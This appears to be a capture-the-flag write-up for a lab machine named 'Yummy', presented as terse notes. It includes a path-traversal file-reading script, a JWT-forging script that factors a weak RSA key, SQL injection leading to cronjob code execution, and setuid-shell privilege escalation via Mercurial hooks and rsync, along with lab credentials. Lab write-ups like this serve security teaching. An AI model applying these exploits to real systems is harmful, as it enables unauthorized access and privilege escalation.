Backup exists in /var/www/backupapp.zip, and I didn't want to code saving file from socket output. Just use burp to first create Reminder, then change path and you'll download file automatically.
Actually that's garbage, because we need proper p and q values to create n, https://factordb.com/ can help.
jwt_tool kept giving errors about invalid certificates... Generate manually:
Replace your cookie, visit /dashboard, get redirected to /admindashboard.
Writeup-7.png
SQLi
Endpoint is vulnerable to SQLi:
users table only has us, registered users. No admin account at least in this database users table.
RCE via cronjob via OUTFILE
From 2nd injection I learned that user has file permissions, so access to OUTFILE is granted. If we take closer look at cronjobs previously there are exploitable, add scripts and last one will get executed.
Listen for connection and catch the shell.
Reverse Shell (mysql)
/data has dangerous permissions on directory, and app_backup.sh is ran by www-data
Privilege Escalation (www-data)
Create new cronjob task:
Privilege Escalation (qa)
SSH
Creds: qa:jPAd!XQCtn8Oc@2B
Flag.txt
Privilege Escalation (dev)
User has hg config file:
There were some hg archive files in /var/www I wanted to check out, but total waste of time.
I totally forgot that sudo -l command can be ran as other user 💀
rsync - a fast, versatile, remote (and local) file-copying tool
We can't directly read files, because path traversal will break. But rsync allows modification of ownership:--chown=USER:GROUP simple username/groupname mapping
Ownership were changed, but permissions stayed the same.
└─$ flask-unsign -c '.eJwti0EKwjAQRa_ynbV4AM_hRqTIGCZNqZmpmQQppXc3BVcf3nt_o2d8sydxuj42Qu1D3kIQdzrT3VrBy2yedESRTxOv-LLDResFXSOwIrPyKFiPmpfFJq25B4it1CQFsVj-2xCsHddbYp0PdqJhH_Yf5AUw_w.ZwGW0g.39gWXCFO0oZMaIWq6yDXg4_Pz2I' -d
{'_flashes': [('success', 'Your booking request was sent. You can manage your appointment further from your account. Thank you!')]}
import socket
import requests
import readline
class Routes:
DOMAIN = 'yummy.htb'
BASE = 'http://' + DOMAIN
LOGIN = BASE + '/login'
REGISTER = BASE + '/register'
BOOK = BASE + '/book'
REMINDER = BASE + '/reminder'
EXPORT = BASE + '/export'
AUTH = {'email': 'test02@yummy.htb', 'password': 'letmein'}
COOKIE_NAME = 'X-AUTH-Token'
with requests.Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
session.post(Routes.REGISTER, json=AUTH)
session.post(Routes.LOGIN, json=AUTH)
data = {'name': 'letmein', 'email': AUTH['email'], 'phone': '1111111111', 'date': '2024-10-05', 'time': '16:15', 'people': '1', 'message': '12312'}
session.post(Routes.BOOK, data=data)
session.get(f'{Routes.REMINDER}/21', allow_redirects=False) # Reminder number is hardcoded...
cookie = session.cookies[COOKIE_NAME]
# file = '/etc/passwd'
file = input("File: ")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
io.connect((Routes.DOMAIN, 80))
request = f"GET {Routes.EXPORT}/../../../../../..{file} HTTP/1.1\r\n"
request += f"Host: {Routes.DOMAIN}\r\n"
request += f"Cookie: {COOKIE_NAME}={cookie}\r\n"
request += "Connection: close\r\n\r\n"
io.send(request.encode())
response = b""
while True:
data = io.recv(4096)
if not data: break
response += data
print(response.decode())
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
access_token = ''
@app.route('/login', methods=['GET','POST'])
def login():
global access_token
if request.method == 'GET':
return render_template('login.html', message=None)
elif request.method == 'POST':
email = request.json.get('email')
password = request.json.get('password')
password2 = hashlib.sha256(password.encode()).hexdigest()
if not email or not password:
return jsonify(message="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
finally:
connection.close()
@app.route('/logout', methods=['GET'])
def logout():
response = make_response(redirect('/login'))
response.set_cookie('X-AUTH-Token', '')
return response
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html', message=None)
elif request.method == 'POST':
role_id = 'customer_' + secrets.token_hex(4)
email = request.json.get('email')
password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
if not email or not password:
return jsonify(error="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s"
cursor.execute(sql, (email,))
existing_user = cursor.fetchone()
if existing_user:
return jsonify(error="Email already exists"), 400
else:
sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
cursor.execute(sql, (email, password, role_id))
connection.commit()
return jsonify(message="User registered successfully"), 201
finally:
connection.close()
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/book', methods=['GET', 'POST'])
def export():
if request.method == 'POST':
try:
name = request.form['name']
date = request.form['date']
time = request.form['time']
email = request.form['email']
num_people = request.form['people']
message = request.form['message']
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
connection.commit()
flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')
except Exception as e:
print(e)
return redirect('/#book-a-table')
except ValueError:
flash('Error processing your request. Please try again.', 'error')
return render_template('index.html')
def generate_ics_file(name, date, time, email, num_people, message):
global temp_dir
temp_dir = tempfile.mkdtemp()
current_date_time = datetime.now()
formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")
cal = Calendar()
event = Event()
event.name = name
event.begin = datetime.strptime(date, "%Y-%m-%d")
event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
cal.events.add(event)
temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
with open(temp_file_path, 'w') as fp:
fp.write(cal.serialize())
return os.path.basename(temp_file_path)
@app.route('/export/<path:filename>')
def export_file(filename):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
filepath = os.path.join(temp_dir, filename)
if os.path.exists(filepath):
content = send_file(filepath, as_attachment=True)
shutil.rmtree(temp_dir)
return content
else:
shutil.rmtree(temp_dir)
return "File not found", 404
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
return render_template('dashboard.html', appointments=appointments_sorted)
@app.route('/delete/<appointID>')
def delete_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments where appointment_id= %s;"
cursor.execute(sql, (appointID,))
connection.commit()
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("admindashboard"))
else:
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
cursor.execute(sql, (appointID, validation))
connection.commit()
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("dashboard"))
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/reminder/<appointID>')
def reminder_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
result = cursor.execute(sql, (validation, appointID))
if result != 0:
connection.commit()
appointments = cursor.fetchone()
filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
connection.close()
flash("Reservation downloaded successfully","success")
return redirect(url_for('export_file', filename=filename))
else:
flash("Something went wrong!","error")
except:
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
if __name__ == '__main__':
app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
n = 102507644025377230149306591416777170686099201918371413793432064047208377880446924587192756087064088626348370040685026208091237194345628638929497852912653002470676660628880739880664606531733150375828328921677371420159959119531086492552139154289678920224913011194569236584255297461657480474182307108472322143170159129
Private Key:
-----BEGIN RSA PRIVATE KEY-----
MIICqAIBAAKBgwizabKSUFeI+cRs9wn3HKCZPP7lLTgaeMBsG+Y1AX/J89ZCQrC2
I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmpVs6gPS4N02avcxwlaQv3kj2B
gEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1dccQU/HRGg6cQnk5RWIZAgMB
AAECgYMH1De0Vtp26N2gJt/dNkZdf2YLPAgEfKyE0KGOYlizdjQU6fGucQgEOCLQ
Aga3rRHfYteLMpSLYBeb1/0eQpsTiG8PgGGfuzY4TthJ1oB61n1Mx3eklzWMiOXG
9wWs6/nW+8Jd9waj8NQZm7/DOASdfJMGFl4ymt6hMEelBlR3/5wdKQKBgQCPZ80p
LsffuIuIhxouDY7gYFbmqOAv4/EMGydYtJ8yPWeLmZJBNuEa6zNpA63rKfjxUDU9
bf1wryLJsm7fNGAyQSvzTixfdffmHPw1Ja3MCQ5Ej5m/41m1YL/WR/Uf8cZWf8y/
niBLH2FI/OJmUEJ1OsC+6AlLEVbPiqveFhtkcwIDD4hDAoGAICRS3pUmpWU2mQ42
9vWA/Zd6Qs69GN7NKzp20jIBsIAE0kxEdKt5PtBSwInblGbe7i9dD3y0nmoSsQR2
Rz71BK6IzErMNUU6n/AFM2BTmPS6pvFMs66gb7/Un5GXRmapXr/cQ2KMuGm7I2HS
2L3Kd34Ir4FQe+vR+kiJhwiLcTMCAwxqiwKBgDcEg1BF3YawbGZR0c6T/rgyzQRY
nTx7OLVucLzPCcVjm+SljYcVHQQmE3FRuq+6w/xPzjulWV7xunQFxU9z5DrfRpz0
XaC4Jaul+0H+TAFF6auME1idUUGXUVTBd2PnuUqBp+4K3QlhNPfFVNPenDrgTiQ2
DQbp9j7m/X/Mxona
-----END RSA PRIVATE KEY-----
Public Key:
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwizabKSUFeI+cRs9wn3HKCZPP7l
LTgaeMBsG+Y1AX/J89ZCQrC2I2mG/wIFdaEi6G5gDOLgA1wHdJIithOtqeDBsVmp
Vs6gPS4N02avcxwlaQv3kj2BgEHJgRvKQqvtSmy2WYdypgvxMwgsDbZ0T08uHS/1
dccQU/HRGg6cQnk5RWIZAgMBAAE=
-----END PUBLIC KEY-----
q = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
p = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3QwMkB5dW1teS5odGIiLCJyb2xlIjoiY3VzdG9tZXJfZDczMTE0NDYiLCJpYXQiOjE3MjgxNjg0NTYsImV4cCI6MTcyODE3MjA1NiwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNTk0ODcwNDkyNTE3NjMwNTczOTU0NjcyNjYxMzI4ODU0OTYwOTM1NDI1MzI1OTk0NjA3Mzg4NjY4MjU1NzAwMjMzNTM4MDIyMDMwMzkxODk2MjE5NjAwNDY2Njk1MzI1MjI3MTE4ODc2MTc2NTQzMjc4ODYyMjk5ODU1OTEzNDc4MTU0NTc5NDQ4Mzc2NTY0NDE3NDk1ODIwNjYxODYxMjM0MDYxNjg1NzMzODI1MTExMTI1NTEzNjQ2NDE2NDQwMzQ2NzQzMDgyMDMyNTU0NjYyNzU0NjU1OTAyOTI3NDk2OTk4NjIyMTExMzU4NzEwODU2NzE1Nzc1MzQwMzQ5ODAzMjQ5NzE5NjU4ODk3MDQ2NDQ2NDA2OTU2NzA5NTgxNDA2Nzc4OTM2MTczNjA3OTgxNDA0MzM4NjMiLCJlIjo2NTUzN319.C5FesrgLfo18Djy5WXs9I2HTgXQEndbEpNXYvv8rHLKpo2rccXSRIilm8Gmy6O3hpmJoQHk6AptkhZr_cVxO05LlZ4VAyvV_Cs8ZBnQywZ3O-mMGHD382NrhoYhoof177XbHpqsEGH4dfjUDBPN6S0p7wtFhjDKOWOFYwxzGTRFB9kQ"
q = 1032307
n = 159487049251763057395467266132885496093542532599460738866825570023353802203039189621960046669532522711887617654327886229985591347815457944837656441749582066186123406168573382511112551364641644034674308203255466275465590292749699862211135871085671577534034980324971965889704644640695670958140677893617360798140433863
e = 65537
p = 154495754898264815985426104959944566968491478406579378873557546372691265488889632272143893889639925634416523044334569299622681380457032592860124402672443436096164615921981912852584116318732357752756019481855171257644857869557893012651406869357343869153299338593046415349023734839244208319948114169154486793309
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(private_key_bytes, password=None, backend=default_backend())
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
admin_token = jwt.encode(data, private_key, algorithm="RS256")
print(admin_token)
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$ cat .hgrc
# example user config (see 'hg help config' for more info)
[ui]
username = qa
...
[extensions]
[trusted]
users = qa, dev
groups = qa, dev
qa@yummy:/tmp$ mkdir tt
qa@yummy:/tmp$ chmod 777 tt
qa@yummy:/tmp$ cd tt
qa@yummy:/tmp/tt$ hg init
qa@yummy:/tmp/tt$ chmod 777 . -R
qa@yummy:/tmp/tt$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tt$ hg update
124 files updated, 0 files merged, 0 files removed, 0 files unresolved
qa@yummy:/tmp/tt$ hg log
## [hooks](https://www.mercurial-scm.org/doc/hgrc.5.html#contents)
Commands or Python functions that get automatically executed by various actions such as starting or finishing a commit. Multiple hooks can be run for the same action by appending a suffix to the action. Overriding a site-wide hook can be done by changing its value or setting it to an empty string. Hooks can be prioritized by adding a prefix of priority. to the hook name on a new line and setting the priority. The default priority is 0.
...
post-<command>
Run after successful invocations of the associated command. The contents of the command line are passed as $HG_ARGS and the result code in $HG_RESULT. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.
fail-<command>
Run after a failed invocation of an associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the python data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. Hook failure is ignored.
pre-<command>
Run before executing the associated command. The contents of the command line are passed as $HG_ARGS. Parsed command line arguments are passed as $HG_PATS and $HG_OPTS. These contain string representations of the data internally passed to <command>. $HG_OPTS is a dictionary of options (with unspecified options set to their defaults). $HG_PATS is a list of arguments. If the hook returns failure, the command doesn't execute and Mercurial returns the failure code.
qa@yummy:/tmp/tmp.mFFkaXY8n4$ d=$(mktemp -d);
cd $d;
hg init;
cp ~/.hgrc .hg/hgrc;
echo $'\n[hooks]\npost-pull = install /bin/bash /tmp/devbash -m 4777\n' >> .hg/hgrc
chmod 777 . -R;
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)
qa@yummy:/tmp/tmp.aJq6861TWh$ ls /tmp/devbash -Alh
-rwsrwxrwx 1 dev dev 1.4M Oct 6 08:23 /tmp/devbash
qa@yummy:/tmp/tmp.aJq6861TWh$ /tmp/devbash -p
devbash-5.2$ id
uid=1001(qa) gid=1001(qa) euid=1000(dev) groups=1001(qa)
devbash-5.2$ sudo -l
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
dev@yummy:/tmp/tmp.HyHrHWDXQq$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
dev@yummy:~/app-production$ cp /bin/bash rootbash
dev@yummy:~/app-production$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/
dev@yummy:~/app-production$ ls -alh /opt/app
...
-rwxr-xr-x 1 root root 1.4M Oct 6 08:35 rootbash
...
dev@yummy:~/app-production$ cd /home/dev/app-production;
install /bin/bash rootbash -m 4777;
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown=root:root /opt/app/;
/opt/app/rootbash -p;
mv /opt/app/rootbash /tmp/rootbash;
id # No pty
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
script /dev/null -qc /bin/bash
I'm out of office until October 7th, don't call me